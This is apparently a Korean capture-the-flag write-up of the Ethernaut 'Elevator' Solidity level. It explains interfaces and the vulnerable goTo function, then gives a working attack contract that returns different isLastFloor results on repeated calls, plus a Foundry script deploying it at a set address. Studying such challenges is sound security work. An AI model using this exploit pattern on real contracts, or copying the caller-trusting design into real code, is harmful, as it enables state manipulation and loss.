“이 컨트랙트에는 이런 함수들이 있고, 이렇게 호출할 수 있다”
함수 이름 + 파라미터 + 리턴값 만 적어놓은 약속
특징
{ ... } 안에 코드(구현)가 없음fallback, receive 같은 것도 못 씀인터페이스가 있으면 이미 배포된 다른 컨트랙트랑 상호작용할 때
그 컨트랙트의 전체 코드를 몰라도, “겉으로 보이는 함수 목록(ABI)”만 알면 됨.
덕분에
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Building building = Building(msg.sender);goTo를 호출한 주소를 Building 인터페이스로 본다.isLastFloor(uint256)를 구현한 컨트랙트여야 한다.if (!building.isLastFloor(_floor)) { ... }_floor가 마지막 층이 아니라면(false라면) 안으로 진입.true) 아무 것도 안 하고 종료.floor = _floor;false가 나와 if 안으로 들어온 경우, Elevator.floor를 _floor로 설정.top = building.isLastFloor(floor);msg.sender), 같은 층(floor == _floor)에 대해 다시 isLastFloor를 호출하고, 반환값을 top에 기록.필수 조건 2개:
goTo를 호출하는 주체가 Building 인터페이스를 구현해야 한다.msg.sender를 Building으로 캐스팅한 뒤 isLastFloor 호출이 성공.isLastFloor가 같은 _floor에 대해 두 번 호출될 때, 결과를 다르게 반환해야 한다.false → if문 진입true → top = true그래서 공격 컨트랙트는:
Building 인터페이스와 동일한 시그니처의 isLastFloor 함수를 구현하고,falsetrue를 반환하도록 만들면 된다.// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Elevator} from "../src/Elevator.sol";
contract Attack {
Elevator public elevator;
uint256 public lastfloor;
constructor(address _target) {
elevator = Elevator(_target);
}
function isLastFloor(uint256 floor) external returns (bool){
if(floor == lastfloor){
return true;
} else {
lastfloor = floor;
return false;
}
}
function attack(uint256 floor) external {
elevator.goTo(floor);
}
}
contract PoC is Script {
address public target = 0xA1bA2A61091DA1a444356bB9bCF9B6A18D24bA3E;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
Attack attack = new Attack(target);
attack.attack(2);
vm.stopBroadcast();
}
}